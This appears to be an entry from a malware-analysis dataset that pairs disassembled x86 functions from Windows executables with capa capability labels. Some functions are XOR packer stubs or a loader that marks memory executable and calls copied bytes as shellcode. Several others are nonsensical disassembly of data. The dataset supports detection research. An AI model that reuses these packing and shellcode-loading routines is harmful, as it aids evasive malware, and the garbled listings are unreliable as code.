joyce8/EMBER2024-capa huggingface dataset:
Function at 0x535c05
Capabilities:
Encode data using xor

Disassembly:
test al, 0xfe
in eax, dx
inc ecx
cmp esp, ebp
xchg esp, eax
mov byte [0x333f3397], al
xor dword [edx + 0x6d], ebx
pop edx
insd dword es:[edi], dx
pop edx
insd dword es:[edi], dx
add edx, dword [edi + 0x3fac2734]
push ebx
sahf
jl 0x535bf7
sub eax, 0x57aff2ef
out dx, eax
inc edi
int 0x3f
int 0xd2
aas
invalid

Function at 0x5cbfd8
Capabilities:
Encode data using xor

Disassembly:
imul ecx, ecx, 0x4c21783d
imul ebx, ecx, 0x61
das
sub edi, ebp
loop 0x5cc063
rcr dword [ecx - 0x69eb872f], cl
mov word [0x48f2bd7f], gs
or al, 0xe9
mov esp, 0x34080a56
test eax, 0xca9829ad
push cs
enter 0x209, 0xffffffffffffffa2
xor dword [ebx + 0x4ecdbeb1], ebx
jbe 0x5cbff4
push edx
aam 0xb2
sub eax, 0x2ce9e676
js 0x5cc085
pop ebx
setg byte [edi - 0x7473762]
sal byte [ecx], 1
cdq
stosb byte es:[edi], al
inc ecx
invalid
cmp ch, cl
fisub dword [bp - 0x4eae]
sbb eax, 0xba796b54
pop ebx
bound ecx, qword [esi + 0x5b9594f0]
nop
or dword [ebx - 0x18], 0x3d
mov dword [esi - 0x62], 0x64cd0ac9
invalid
sbb dword [ecx - 0x15], ebx
mov dword [ebx - 0x41], ebx
mov dword [ebp + 0x660ad549], ecx
or esi, dword [edx - 0x3a860394]
jl 0x5cc098
dec dword [esi]
push cs
mov ah, 0x78
jo 0x5cc0d4
setle byte [esp + edi*8 - 0x90e0c1a]
invalid
in eax, 0x20
xchg dword [esi + eax*8 - 0x24], eax
les esi, [edi]
invalid
bound ebx, qword [eax + edi*8 - 0x2371dcbc]
dec ecx
jnp 0x5cc0c0
mov dl, 0xc9
jecxz 0x5cc09a
in eax, dx
pushal
in eax, dx
insb byte es:[edi], dx
pop edx
sar byte [edx], cl
rol dword [edi], 1
aaa
and cl, dl
jmp 0x5cc11c
inc ebx
mov dword [0x1ec7319f], eax
pop eax
mov bl, 0xdb
xor al, 0x36
pop eax
insb byte es:[edi], dx
jge 0x5cc157
dec edx
mov al, byte [0x445c1814]
popfd
adc eax, 0x85c42149
dec ecx
pop ebp
movsd dword es:[edi], dword [esi]
das
jge 0x5cc0ca
stosd dword es:[edi], eax
sub ebx, ecx
loop 0x5cc16d
push cs
sub dword [ebp - 0x5005c7b3], edi
pop ss
mov edx, 0x6c9bdd04
pop ebp
sub byte [0xf87d924d], bh
test byte [esi], ch
jmp 0x5cc198
inc esp
in eax, 0xd5
sbb esi, ebp
invalid
mov dl, byte [ebx]
pop edi
push ebx
int 0xad
xchg edx, eax
call 0xaa8b0cfb
inc ebp
adc bl, byte [ebx]
dec ecx
pop ecx
out 0xe9, al
sbb esi, dword [ebx + 0x36]
push edi
inc edi
mov esi, 0xf8eaf204
cwde
mov dl, 0xb
jl 0x5cc1ca
mov bl, bh
insd dword es:[edi], dx
mov cl, al
xchg dword [esi], ebx
scasd eax, dword es:[edi]
int3
fnstsw word [ebx*4 - 0x60276359]
sahf
sbb dword [edi + 0x2d], esp
ret 0x37c
Function at 0x65019e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6561d0
cmp edx, dword [eax]
je 0x6501c0
add eax, 8
inc ecx
cmp eax, 0x656260
jl 0x6501b1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6561d0]
jne 0x6502ee
mov eax, dword [0xa59814]
cmp eax, 1
je 0x6502c8
test eax, eax
jne 0x6501f1
cmp dword [0x656114], 1
je 0x6502c8
cmp edx, 0xfc
je 0x6502ee
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x650228
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.006508b0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00650ae0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x65026b
lea eax, [ebp - 0x1a4]
push eax
call fcn.00650ae0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x654588
push edi
call fcn.006522b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.006508b0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.006508c0
lea eax, [ebp - 0xa0]
push 0x654568
push eax
call fcn.006508c0
push dword [esi + 0x6561d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.006508c0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00652224
add esp, 0x2c
pop edi
jmp 0x6502ee
lea eax, [ebp + 8]
lea esi, [esi + 0x6561d4]
push 0
push eax
push dword [esi]
call fcn.00650ae0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x718f0b63
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3da72304
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x454050
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x18
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x454071
xor al, al
add esp, 0x18
ret
lea ecx, [esp + 0xc]
push ecx
push 0x4a1850
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 4]
push 0
push 0
push 0
lea edx, [esp + 0x14]
push edx
push 0
push eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x45406b
mov ecx, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
setne al
add esp, 0x18
ret

Function at 0x4540d0
Capabilities:
Terminate process

Disassembly:
sub esp, 8
push esi
mov esi, eax
lea eax, [esp + 8]
push eax
push 0x1f4
push 2
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
test eax, eax
jne 0x45412f
lea ecx, [esp + 4]
push ecx
push esi
mov dword [esp + 0xc], eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 4]
test eax, eax
je 0x45412f
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45412f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 8
ret
Function at 0x48edd4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a9b30]
jne 0x48edde
repz ret
jmp fcn.00493887

Function at 0x491a11
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a9b30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0048bfb2
and dword [ebp - 0x14], 0
cmp dword [0x4acb0c], 0
mov dword [ebp - 0x18], eax
jne 0x491ac4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x491b6c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49b7bc
push ebx
call edi
test eax, eax
je 0x491b6c
mov esi, dword [fcn.00487fe0]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4acb0c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4acb10], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4acb14], eax
call edi
push eax
call esi
mov dword [0x4acb1c], eax
test eax, eax
je 0x491ac4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4acb18], eax
mov eax, dword [0x4acb18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.00487fe4]
cmp eax, ecx
je 0x491b1d
cmp dword [0x4acb1c], ecx
je 0x491b1d
push eax
call esi
push dword [0x4acb1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x491b1d
test ebx, ebx
je 0x491b1d
call edi
test eax, eax
je 0x491b14
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x491b14
test byte [ebp - 8], 1
jne 0x491b1d
or dword [ebp + 0x10], 0x200000
jmp 0x491b50
mov eax, dword [0x4acb10]
cmp eax, dword [ebp - 0x18]
je 0x491b50
push eax
call esi
test eax, eax
je 0x491b50
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x491b50
mov eax, dword [0x4acb14]
cmp eax, dword [ebp - 0x18]
je 0x491b50
push eax
call esi
test eax, eax
je 0x491b50
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4acb0c]
call esi
test eax, eax
je 0x491b6c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x491b6e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048edd4
leave
ret
Function at 0x414164
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4245dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040aa26
mov dword [ebp - 0x14], eax
cmp dword [0x426ac0], esi
jne 0x414257
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4141e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x414337
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x414337
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x414337
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x426ac0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x426ac4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x426ac8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x426ad0], eax
test eax, eax
je 0x414254
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x426acc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41427c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41426f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x414291
push 4
pop eax
jmp 0x414339
cmp dword [ebp - 0x14], esi
je 0x414291
push dword [0x426ac0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x414276
mov eax, dword [0x426acc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4142ef
cmp dword [0x426ad0], edi
je 0x4142ef
push eax
call ebx
push dword [0x426ad0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4142ef
test eax, eax
je 0x4142ef
call ecx
test eax, eax
je 0x4142e4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4142e4
test byte [ebp - 8], 1
jne 0x4142ef
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41431f
mov eax, dword [0x426ac4]
cmp eax, edi
je 0x41431c
push eax
call ebx
test eax, eax
je 0x41431c
call eax
mov esi, eax
test esi, esi
je 0x41431c
mov eax, dword [0x426ac8]
cmp eax, edi
je 0x41431c
push eax
call ebx
test eax, eax
je 0x41431c
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x426ac0]
call ebx
test eax, eax
je 0x414337
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x414339
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040906b
mov esp, ebp
pop ebp
ret
Function at 0x4015f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42d430
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4263a8
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x84b658], 0x5b1
push ebx
push esi
push edi
jne 0x4016c2
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c20
push 0
mov dword [ebp - 4], 0
call fcn.00403b48
add esp, 4
jmp 0x4015e0
mov eax, dword [0x84b658]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b658], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x84b658]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x84a5ac], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
jmp 0x401700
cmp esi, 0x2710
jge 0x401713
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401700
mov ecx, dword [0x84b658]
xor esi, esi
test ecx, ecx
jbe 0x401789
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401740
mov ecx, dword [0x84b65c]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84a5ac]
mov byte [eax + esi], dl
mov ecx, dword [0x84b658]
cmp ecx, 0xa8
jne 0x401784
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x84b658]
inc esi
cmp esi, ecx
jb 0x401740
xor eax, eax
jmp 0x401790
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x40182c
inc eax
cmp eax, 0x39621
jl 0x401790
call fcn.004014e0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017bd
call fcn.004015c0
inc esi
cmp esi, 0x6753f
jl 0x4017b1
mov esi, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [ebp - 0x10], 0x7b
nop
cmp dword [0x84b658], 0x86
jne 0x401810
push 0
push 0
call esi
push 0
push 0x428e88
push str.erixiguxokudepe_vih_nukaxakutepisoxekuposu_nujuf
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x4017e0
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401840
Capabilities:
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
cmp dword [0x84b658], 0x400
push esi
push edi
jne 0x401877
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea esi, [ebp - 0x24]
call fcn.00401960
mov ecx, esi
call fcn.00401980
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_SetClipboardViewer]
xor esi, esi
cmp esi, 0xa5a
jge 0x40188f
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2afe5b
jle 0x4018a5
cmp edi, 0x78e8e445
jne 0x4018ae
inc esi
cmp esi, 0x1bf9
jl 0x401883
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea esp, [esp]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x4018dd
inc esi
cmp esi, 0x4f6a4
jl 0x4018c0
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x4018fc
cmp ebx, 0x785074d5
jne 0x401905
inc esi
cmp esi, 0x11915
jl 0x4018e8
mov eax, dword [0x42c4cc]
mov ecx, dword [0x42c4a0]
mov dword [0x84b658], eax
mov dword [0x84b65c], ecx
call fcn.004015f0
mov esi, dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov edi, 0x3078f
pop ebx
lea esp, [esp]
cmp dword [0x84b658], 0x51f
jne 0x401942
lea edx, [ebp - 0x2c]
push edx
call esi
sub edi, 1
jne 0x401930
mov eax, dword [0x84a5ac]
mov dword [0x84abec], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4044ab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b218]
jne 0x4044b5
repz ret
jmp fcn.0040882c
Function at 0x40a67f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407122
and dword [ebp - 4], 0
cmp dword [0x42d314], 0
mov ebx, eax
jne 0x40a730
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a7e1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a7e1
push eax
call fcn.004070b0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d314], eax
call esi
push eax
call fcn.004070b0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d318], eax
call esi
push eax
call fcn.004070b0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d31c], eax
call esi
push eax
call fcn.004070b0
pop ecx
mov dword [0x42d324], eax
test eax, eax
je 0x40a730
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004070b0
pop ecx
mov dword [0x42d320], eax
mov eax, dword [0x42d320]
cmp eax, ebx
je 0x40a788
cmp dword [0x42d324], ebx
je 0x40a788
push eax
call fcn.0040712b
push dword [0x42d324]
mov esi, eax
call fcn.0040712b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a788
test edi, edi
je 0x40a788
call esi
test eax, eax
je 0x40a77f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a77f
test byte [ebp - 0xc], 1
jne 0x40a788
or dword [ebp + 0x10], 0x200000
jmp 0x40a7c1
mov eax, dword [0x42d318]
cmp eax, ebx
je 0x40a7c1
push eax
call fcn.0040712b
pop ecx
test eax, eax
je 0x40a7c1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a7c1
mov eax, dword [0x42d31c]
cmp eax, ebx
je 0x40a7c1
push eax
call fcn.0040712b
pop ecx
test eax, eax
je 0x40a7c1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d314]
call fcn.0040712b
pop ecx
test eax, eax
je 0x40a7e1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a7e3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3c5e4409
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x24b469a3
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40406c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
add byte [eax], al
idiv byte [ecx]
jae 0x404081
jbe 0x40407f
add byte [ebx + 0x3c8b0443], cl
mov eax, dword [ebx + 4]
mov edi, dword [eax + esi*4]
test dword [eax], eax
add byte [ecx], bl
mov ax, word [edi + 8]
inc ebx
add al, ch
xor byte [esi - 0x7d], ah
clc
mov al, 0x85
add byte [eax], al
sbb dword [esi - 0x75], esp
inc edi
or byte [ebx], al
call 0xf8c3a6c1
pcmpeqd mm0, qword [eax]
add byte [edi + edx*2], cl
call 0xbbfcf9
add esp, 8
mov eax, dword [ebx + 4]
mov dword [eax], 0
add byte [esi - 0x6d], al
add byte [eax], cl
jb 0x40407c
mov dword [ebx + 8], 0
pop edi
pop esi
pop ebx
mov ebp, dword [eax + 0xf8bc300]
mov dword [ebp - 4], ecx
test dword [eax], eax
add dh, cl
mov eax, dword [ecx + 0xc]
invalid

Function at 0x41c91c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
add byte [eax], al
idiv byte [ecx]
jae 0x41c931
jbe 0x41c92f
add byte [ebx + 0x3c8b0443], cl
mov eax, dword [ebx + 4]
mov edi, dword [eax + esi*4]
test dword [eax], eax
add byte [ecx], bl
mov ax, word [edi + 8]
inc ebx
add al, ch
xor byte [esi - 0x7d], ah
clc
mov al, 0x85
add byte [eax], al
sbb dword [esi - 0x75], esp
inc edi
or byte [ebx], al
call 0xf8c52f71
pcmpeqd mm0, qword [eax]
add byte [edi + edx*2], cl
call 0xbd85a9
add esp, 8
mov eax, dword [ebx + 4]
mov dword [eax], 0
add byte [esi - 0x6d], al
add byte [eax], cl
jb 0x41c92c
mov dword [ebx + 8], 0
pop edi
pop esi
pop ebx
mov ebp, dword [eax + 0xf8bc300]
mov dword [ebp - 4], ecx
test dword [eax], eax
add dh, cl
mov eax, dword [ecx + 0xc]
invalid

Function at 0x4348ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
add byte [eax], al
idiv byte [ecx]
jae 0x434901
jbe 0x4348ff
add byte [ebx + 0x3c8b0443], cl
mov eax, dword [ebx + 4]
mov edi, dword [eax + esi*4]
test dword [eax], eax
add byte [ecx], bl
mov ax, word [edi + 8]
inc ebx
add al, ch
xor byte [esi - 0x7d], ah
clc
mov al, 0x85
add byte [eax], al
sbb dword [esi - 0x75], esp
inc edi
or byte [ebx], al
call 0xf8c6af41
pcmpeqd mm0, qword [eax]
add byte [edi + edx*2], cl
call 0xbf0579
add esp, 8
mov eax, dword [ebx + 4]
mov dword [eax], 0
add byte [esi - 0x6d], al
add byte [eax], cl
jb 0x4348fc
mov dword [ebx + 8], 0
pop edi
pop esi
pop ebx
mov ebp, dword [eax + 0xf8bc300]
mov dword [ebp - 4], ecx
test dword [eax], eax
add dh, cl
mov eax, dword [ecx + 0xc]
invalid